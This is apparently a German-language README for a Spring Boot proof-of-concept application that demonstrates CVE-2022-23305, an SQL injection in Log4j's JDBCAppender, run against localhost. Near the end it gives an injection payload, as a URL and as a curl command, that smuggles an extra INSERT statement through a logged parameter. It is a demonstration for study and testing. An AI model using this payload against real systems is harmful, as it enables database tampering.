
CVE-2022-23305 Log4J JDBCAppender SQl injection POC
Dies ist eine sehr einfache Spring Boot-basierte Anwendung, die die Sicherheitslücke CVE-2022-23305 demonstriert. Sie verwendet Apache Maven, Spring Boot, Spring MVC und die H2-In-Memory-Datenbank, um einen einfachen Eintrag zu protokollieren, der als URL-Abfragezeichenfolge-Parameter übernommen wird. Da Log4J so konfiguriert ist, dass es einen JDBCAppender verwendet, ist es anfällig für SQL-Injection.
Siehe src/main/java/poc/InjectionController.java für die Logging-Anweisung.
Siehe den Ordner src/main/resource für alle Konfigurationsdateien.
Sie können die Anwendung mit Java und Maven ausführen, indem Sie "mvn clean spring-boot:run" ausführen.
Sie können sie auch als Docker-Anwendung ausführen, z. B.:
docker build --tag log4j-poc .
docker run -p 8080:8080 log4j-poc
Die App ist unter http://localhost:8080/ verfügbar.
Um die Sicherheitslücke auszunutzen, übermitteln Sie eine eingeschleuste SQL-Anweisung als Parameter, der protokolliert wird:
"http://localhost:8080/?param=');insert into logs values(':("
Die Rückgabe listet die hinzugefügten Logeinträge auf, darunter einen, der durch die in den Parameter eingeschleuste SQL-Anweisung hinzugefügt wurde.
Um dasselbe mit curl zu tun, verwenden Sie:
curl 'http://localhost:8080/?param=%27);insert%20into%20logs%20values(%27:('